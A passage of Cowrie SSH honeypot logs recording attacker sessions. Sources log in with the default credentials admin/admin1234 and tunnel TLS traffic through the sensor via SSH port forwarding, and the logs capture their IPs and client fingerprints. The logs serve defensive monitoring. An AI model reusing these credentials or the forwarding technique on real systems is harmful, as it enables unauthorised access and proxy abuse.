no-cache\\r\\n\\r\\n_=VXdhP0V9TXk4JFVLenF1JA%3D%3DSrU1Bj27qfFmmTeDFjMuG9HrhLQEMzj21U5Kb8%2FtCyp4MQwnqpnrwkbld7SkghOmbg2YnHBePUj9muus0frSYFPL%2BG0q4ZnXlykSD7kqKTePfRmHw2shwePO34Ng5BfuNgE0D5QqrTd%2FForbo1kV8x4fNUA5vTZuXQ79qNWxe5eu9wq2IcaSCv1QmQS0MIXp7NMEduGyEsL6nwGSnlTsqUuW5xBM%2BifvW9%2BErP3DG6mIDjm9VYkaZw%2BvtW9NBDDi7UbaY3oGyzw2q3PWbmS1sGrNTQyfwiUR%2FZzvFbRmWp1CPnBbx7MZDozZgVWXhvjpKVHg1HWbJaiC2%2BQVsvZyDSGyav4IoWrTK4eYubjmRVVXWP4QsyopeW34mhe45Ehr1H7%2BrvQzIN20aaqiYMUO9EctxUCGBXuINqmA4PlroZ7dcL6hCoJl7PHpCFmC1b13tgeD91TlHx5oFjjSQXNGpPjmi3Gnzj68pzvZxbG6%2BBl8JPsMk4jcP4WqqtRUWsG3Zqa1vK05mEjHzAXcQCjc9nzFap5v49FhguK%2BWoCChfjQZqyPOBH%2FfJd%2BsCz20wXoJQ78%2F%2Bhulg%2FQNyBXbqwJRH873gFqbrv3ABlmixzQS7S6yEzB6GU1%2FCjEEq%2B0rgWvO6T%2FDSM7pbiIkJUbUXxQZQKosbC1RgArmL0rSO8tDyx%2FxskdvsAPQ5b3Bgr6VQtvvKcAszEueYaKgph44vAC93kQnKSjJb1U7EefZx4aw%2B1jq3HDZOGMLmdl%2FTaq%2FgRvr%2BgZ5WxeDql4G7K5wgxDKavLmuh0aKn5HSjVdPtMI1sKgzAro0A%2FKh1hprPe9dmUOEa3hB%2B76no2BFHbnDPLONSakMl5q2UOaQq%2BsFd5Tzmux5MT%2BC8sEVK2HMjbJfVqE8YYU8MKItW2zpTognLr3zvYc4sAV2UtXnvo9omEKHPFYPkOjxgk0RMzcCa2SJwZ1mLZD5z8NgzpWsyBVlzqD0vLmCDzybPqD3VyaDJfC%2FVL5RmhYQeTaDNUYwiRsz0WCkv%2FGoTdbVAsi%2FqivjKRAfi3PKk8io0%2Fyzj5180OZ8QzrHl2NK1Z4fHiF1IRGtvK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:10.136164Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:15.709432Z","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:15.726694Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\x0c\\xee\\t\\x81\\x95\\x16\\xe2\\x1d\\xf7\\xc4H\\n;o\\x94\\x9f\\xc2pc\\xcc\\xb8\\xb4\\xe0;UG\\xd53\\xe6\\x9a\\x91 \\x0c\\x00\\xbd\\x9e\\xf0\\x80@a\\x14\\x10\\x0c\\\\\\x80B\"\\x8a\\xcd\\xcc\\x1e\\xe3\\x95\\xa29\\xd0V\\xf3\\xa7.\\xfb\\xf6\\x1a\\x1f\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\x7f\\xa6\\xa9\\x84N\\x07o.vb\\x94\\x0e\\x15\\xdaOP\\x90\\xd4\\x96=\\xbbs\\xd4W\\xd6Z\\xc7)zOg\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\x0c\\xee\\t\\x81\\x95\\x16\\xe2\\x1d\\xf7\\xc4H\\n;o\\x94\\x9f\\xc2pc\\xcc\\xb8\\xb4\\xe0;UG\\xd53\\xe6\\x9a\\x91 \\x0c\\x00\\xbd\\x9e\\xf0\\x80@a\\x14\\x10\\x0c\\\\\\x80B\"\\x8a\\xcd\\xcc\\x1e\\xe3\\x95\\xa29\\xd0V\\xf3\\xa7.\\xfb\\xf6\\x1a\\x1f\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\x7f\\xa6\\xa9\\x84N\\x07o.vb\\x94\\x0e\\x15\\xdaOP\\x90\\xd4\\x96=\\xbbs\\xd4W\\xd6Z\\xc7)zOg\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:15.729872Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:15.813971Z","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:15.879249Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02j\\xdbl\\x1a\\xb8\\xef\\xb8\\x1b\\t^\\x8b\\xe4\\xbb\\x98\\x9f%\\xf2\\xbe\\x7f\\xc89.\\xc9a\\xa8\\xae\\xa3\\xe4I\\xd5\\xd7 8\\xef\\xa0\\x92\\xa8R\\xf1n\\xa9\\x19\\xae\\xf2:WZ\\x88\\xa35RB\\xce\\xa7Q9\\nO\\nf\\x9cJAl\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 1\\x1e\\xb9\\xb6\\xc3:SO2\\xbd\\xfa\\xf8\\x00\\xf7\\xb6\\xd4\\x96RI0x\\xf0f\\x8d\\xf2\\xd0\\x0b\\xf4\\x01.Ow\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02j\\xdbl\\x1a\\xb8\\xef\\xb8\\x1b\\t^\\x8b\\xe4\\xbb\\x98\\x9f%\\xf2\\xbe\\x7f\\xc89.\\xc9a\\xa8\\xae\\xa3\\xe4I\\xd5\\xd7 8\\xef\\xa0\\x92\\xa8R\\xf1n\\xa9\\x19\\xae\\xf2:WZ\\x88\\xa35RB\\xce\\xa7Q9\\nO\\nf\\x9cJAl\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 1\\x1e\\xb9\\xb6\\xc3:SO2\\xbd\\xfa\\xf8\\x00\\xf7\\xb6\\xd4\\x96RI0x\\xf0f\\x8d\\xf2\\xd0\\x0b\\xf4\\x01.Ow\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:15.884991Z","src_ip":"23.148.145.132","session":"d3a9ab4cce68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":60756,"dst_ip":"10.17.0.5","dst_port":22,"session":"303faddfaba0","protocol":"ssh","message":"New connection: 38.46.222.137:60756 (10.17.0.5:22) [session: 303faddfaba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:16.417581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:16.421936Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:16.495723Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":62041,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdc4b06667d9","protocol":"ssh","message":"New connection: 63.141.242.2:62041 (10.17.0.5:22) [session: bdc4b06667d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:16.537221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:16.541340Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:16.618931Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:17.414535Z","src_ip":"38.46.222.137","session":"303faddfaba0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:18.541274Z","src_ip":"63.141.242.2","session":"bdc4b06667d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":13636,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c2c62c053d","protocol":"ssh","message":"New connection: 38.93.206.2:13636 (159.203.135.109:22) [session: c3c2c62c053d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:22.444317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:22.448669Z","src_ip":"38.93.206.2","session":"c3c2c62c053d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:22.564202Z","src_ip":"38.93.206.2","session":"c3c2c62c053d","protocol":"ssh"}
